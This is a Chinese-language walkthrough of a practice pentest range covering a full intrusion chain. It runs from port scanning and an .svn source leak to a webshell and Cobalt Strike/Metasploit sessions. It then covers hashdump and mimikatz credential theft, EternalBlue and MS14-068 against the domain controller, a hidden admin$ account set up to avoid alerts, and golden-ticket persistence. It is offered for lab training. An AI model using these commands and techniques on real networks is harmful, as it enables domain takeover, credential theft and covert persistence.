暗月渗透实战靶场-项目六
暗月渗透实战靶场-项目六
环境搭建
使用的是暗月提供的环境
直接虚拟机运行即可
设置网络环境
网卡配置的时候为了方便直接使用的是暗月的vm19的网卡配置的内网环境
00x1-信息搜集
我们已经知道目标主机
192.168.1.150
使用masscan
1 | sudo masscan -p 1-65535 192.168.1.150 --rate=1000 |
结果
开启的有445、3389、80的特殊端口
断定是win服务器
访问
直接访问是被拒绝的、典型的phpstady。
nmap扫描
这里暂时不管、我们继续扫描、查看开放的端口之后使用nmap就进行扫描
1 | sudo nmap -p 3306,445,3389,80,47001,49152,49156,49153,135,49157 -sS -sC -A 192.168.1.150 -oA web150-p |
这里我们还发现了目标机使用的dns解析的地址信息
由于前面我们在访问的时候就知道是访问不了的肯定是需要进行域名的绑定的
绑定完成后在访问
一个信用贷的平台
使用whataweb查询网站的cms
1 | whatweb www.webhack123.com |
使用的是thinkphp的框架
查询网站目录信息
使用dirsearch
1 | python3 dirsearch.py -u "www.webhack123.com" -e * |
使用gobuster
1 | gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt -t 50 |
使用dirmap
1 | python3 dirmap.py -i http://www.webhack123.com -lcf |
00x2-.svn泄露并利用
网站下载
在三个工具中我们发现是由.svn文件的、这里我们使用工具进行下载
我们先去进行访问一下
发现是有内容的
使用工具进行下载
这里我们使用的工具是
进行下载
1 | ./rip-svn.pl -v -u http://www.webhack123.com/.svn |
然后我们可以看到下载的结果
将源码下载下来
00x3-网站审计
虽然我们将文件下载了下来但是发现是没有下载本应该存在的wc.db的数据库文件的、有的文件是需要我们自己进行下载的
完成下载
wc.db数据库查看
对于db数据库我们可以使用sqlite软件进行打开
对于这个数据表的作用我们只是为了查看网站的历史使用记录的情况、为了方便我们摸清楚网站的目录结构、这里我们是已经下载了网站的整个目录文件的
源码审计
这样我们对于整个网站的基本目录结构已经是知道了、查看有无后台管理登录页面
网站的教程里面有一些配置信息的所在地
发现后台管理的地址
1 | http://admin.webhack123.com/ |
这里还是需要进行域名绑定的
然后我们再次访问
这里就需要我们获取数据库管理员账号密码
接着往下看我们还掌握数据库的信息
网站的日志文件
对于这种有暴露完整的日志文件的、我们可以在日志文件中查看一下有无管理员修改密码的操作的记录、
我们可以在工具中的搜索功能自己进行搜索
log日志遍历-寻找password
也可以写个脚本自己遍历文件的内容
但是这种方法只能是查找源码上面备份的、我们是不确定这个备份是不是最新的、所以我们要根据这个格式查找最新年份的log日志文件
脚本
1 | #coding:utf-8 |
在次查找
得到最新的密码
1 | 74c774ef39b5b977c1fd59dbfc73c3e380a65aa3 |
解密-登录
然后进行MD5解密
但是要密码、哦豁花钱的东西咱不搞、换
nice
去登陆
登录成功
00x4-拿shell-查看目标机信息
先在平台逛逛、基本上管理员的用户后台都会有上传的地方的、
写个小马、getshell
查看基本信息
system权限
查看配置文件
数据库
配置文件
尝试连接数据库
查看数据表
是可以查看的
然后我们查看网卡信息
哦豁里面还有大动作
00x5-MSF+CS+冰蝎进行webshell的互联
文件上传–>cobaltstrike–>msf
cobaltstrike的getshell
制作攻击载荷
生成文件并上传
执行
cs上线
然后将sessio转发到msf上进行互联
配置msf
1 | msfconcle |
在cs上新建监听器
然后将上线的session转发到这个新建的监听器上
然后等待msf上线即可
msf成功上线
冰蝎–>msf–>cs
在冰蝎3.0以后就有反弹shell直接到msf的功能了
直接选择连msf然后跟着下面的提示做就行
打开MSF
1 | msfconcle |
执行完成过后在冰蝎的页面点击matesploit连接
然后在msf上就会收到session会话
然后进行设置session转发到cs上
1 | 先将msf上获得的session放到后台运行 |
回到cs上建立新的监听器
然后启用监听器
在msf里面执行run
成功上线
文件上传–>MSF–>CS
打开MSF
1 | 在msfvenom上生成攻击载荷 |
将msfvenom生成的shell.exe上传到目标中
然后执行shell.exe的文件
这时候会在msf收到session会话
然后在将会话转发到cs上-就跟步骤二是一样的转发方式
当然以上这些互相的转发时对于cs上线使用的都是http协议的但是对于Linux的payload中是没有http协议的payload的
00x6-对目标机器进行信息搜集
我们可以在MSF里面进行执行命令
查看一下基本的信息
首先是获取用户的密码
1 | hashdump |
or
也可以进入mimikatz交互(针对win开发的模块)
1 | load mimikatz |
查看其他配置及的证书文件
一般密码是由存在这里的
1 | creds_kerberos |
00x7-域渗透
发现域
进入交互shell
1 | shell |
查看网卡信息
发现有乱码
1 | chcp 65001 |
然后就ok了
然后我们看到主机的DNS解析的地址有一个hackbox.com
在看一下网卡的DNS_SERVER
用其他的工具查看
不行继续换
1 | run post/windows/gather/enum_domains |
or
确定是在dc域里面
直接ping域控
这里发现的主机和上面查看到的是一样的、可以确定目标及确实是在一个dc的域控里面的、且该域控的服务器域名为hackbox.com
域收集
查看域
1 | net view /domain |
查看域内的主机
1 | net view /domain:hackbox |
发现两台主机
查看域内工作组的信息
1 | net group /domain |
基本信息信息就这么多、然后使用MSF自带的功能
获取域内用户token
1 | run post/windows/gather/enum_domain_tokens |
查看目标Windows上登录的用户
1 | run enum_logged_on_users -l |
进入dc域控
在MSF上设置路由
1 | 查看全局路由器 |
设置代理
1 | use auxiliary/server/socks_proxy |
还要记得本地设置代理信息
添加配置信息
1 | sudo vim /etc/proxychains4.conf |
结果
然后尝试访问
1 | proxychains4 ping 10.10.10.149 |
扫描内网域控
masscan扫描
1 | proxychains4 sudo masscan -p 1-65535 10.10.10.149 --rate=1000 |
使用nmap进行探测
1 | proxychains4 sudo nmap -sS -sC -A 10.10.10.149 -p 445,25,49162,3269,49155,47001,139,49153,49158,464,5722,9389,110,53,88,46154,135,636,3268,389,49157,593,49152,49174,49165 -oA 10.149-p |
发现开放的有445端口
对于windowss-server的机器我们可以直接用永恒之蓝打一下
1 | search ms17_010 |
先进行扫描查看是否能够利用漏洞
1 | use auxiliary/scanner/smb/smb_ms17_010 |
使用
能够利用成功
MS17-010永恒之蓝打域控
使用ms17_010
1 | use exploit/windows/smb/ms17_010_eternalblue |
继续执行
结果
成功拿到dc域控的system的session会话
提权成功
MS14-068域控提权 CVE-2014-6324
流程
域普通用户–>创建票据–>注入票据–>访问dc的权限–>域控超级管理员权限
域普通用户
我们需要一个域控里面的普通用户的账户密码
在前面的信息搜集中、我们已经知道目前控制的这个用户机web是属于dc域控里面的一个主机的
账户密码也在前面已经知道了、可以进行测试一下
打开web机的3389、开启远程服务
连接测试
1 | run post/windows/manage/enable_rdp |
150的web是已经开启了3389的我们直接测试就行
打开
登录测试
结果
密码是对的但是web的用户在域控里面是没有3389权限的
尝试访问dc域控机器的C盘
1 | dir \\dc\c$ |
创建白银票据
使用工具
上传到目标机中
执行
成功创建票据
1 | ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456 |
注入票据
使用工具mimikatz
1 | use mimikatz |
首先查看并清除之前的票据
1 | kerberos_ticket_list |
导入票据
但是我们发现msf6上的mimikatz模块依旧是没有导入票据的功能
使用工具
将文件上传到目标机器上
然后执行
对于票据的操作
1 | kerberos::list #查看本机票据 |
成功导入票据
回到本机进行检查
1 | klist |
访问dc
再次尝试访问dc域控的C盘文件
1 | dir \\dc\c$ |
成功访问
目前只有访问文件的权限
获取域控超级管理员权限
在上面我们已经成功的访问dc域控的文件并且对于文件我们能够做到、复制、执行、的权限
思路:
生成一个正向代理的攻击文件、上传到目标机上、在将攻击载荷copy到dc域控机上、然后使用at命令执行文件、MSF监听、这样就能触发正向代理
生成攻击载荷
1 | msfvenom -p windows/meterpreter/bind_tcp lport=7789 -f exe >`pwd`/149.exe |
上传到目标机
将攻击载荷copy到dc域控机
1 | copy 149.exe \\dc\c$\149.exe |
使用at命令执行文件
就是相当于一个定时计划的命令
先查看时间
1 | net time \\dc |
设置执行命令
1 | at \\dc 0:16:00 c:/149.exe |
MSF监听
1 | use exploit/multi/handler |
成功上线
进程迁移
建立持久会话、将进程迁移到service.exe的系统服务里面
1 | migrate 448 |
拿到MSF的session以后下面可以做的就是进行MSF与CS的联动
方法还是和上面的一样
00x8-域攻击
dc域信息搜集
密码搜集
1 | hashdump |
出来的并不全
使用另外的方法
1 | run post/windows/gather/smart_hashdump |
这里的所有用户以及所有的hash密码都已经到手了
可以使用hash解密
也可以先查看一下用户的证书信息
1 | use mimikatz |
同时密码还能在这里看
1 | load mimikatz |
用户SID搜集
1 | run enum_logged_on_users -l |
确定端口开放
前面我们在使用masscan扫描内网的时候已经知道了内网域控机是没有开启远程3389的、为了后面做准备我们还需要进行远程登录
登录远程桌面
步骤
开启3389–>制作system的影子用户–>登录
开启3389
1 | 远程终端 |
制作影子用户
1 | net user admin$ !@#123shell /add |
登录
1 | proxychains4 rdesktop 10.10.10.149 |
但是影子用户没有进入administractor的分组中
添加administractor分组
1 | net localgroup administrators admini$ /add |
成功登录
虽然前面是已经知道administractor的用户密码、而我们不选择直接登录而是去制作影子用户、就是为了防止主机报警
域控维权
制作黄金票据
黄金票据可以使我们永久的获取目标机器的控制权限、就算是主机密码修改、影子用户被删除、都可以保障我们能再次获得权限、
制作黄金票据需要的条件
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
步骤
清除之前的白银票据–>导出krbtgt的Hash–>生成Golden Ticket–>导入伪造
清除白银票据
1 | load mimikatz |
导出krbtgt的Hash、SID值
获取krbtgt的Hash
1 | run post/windows/gather/smart_hashdump |
结果
1 | krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98 |
获取krbtgt的SID值
方法一
1 | shell |
结果
1 | wmic useraccount where name="krbtgt" get sid |
方法二:
1 | dcsync_ntlm krbtgt |
如果我们使用system权限没有办法获取的时候可以窃取一个administractor的进程来执行
步骤
先查看系统进程、找一个administractor的进程、然后记录其ID值、使用steal_token命令
1 | ps |
生成Golden Ticket
制作
1 | golden_ticket_create |
生成
导入伪造
导入
1 | 来到域控下的web主机 |
尝试访问dc域控
00x9-写在最后
欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!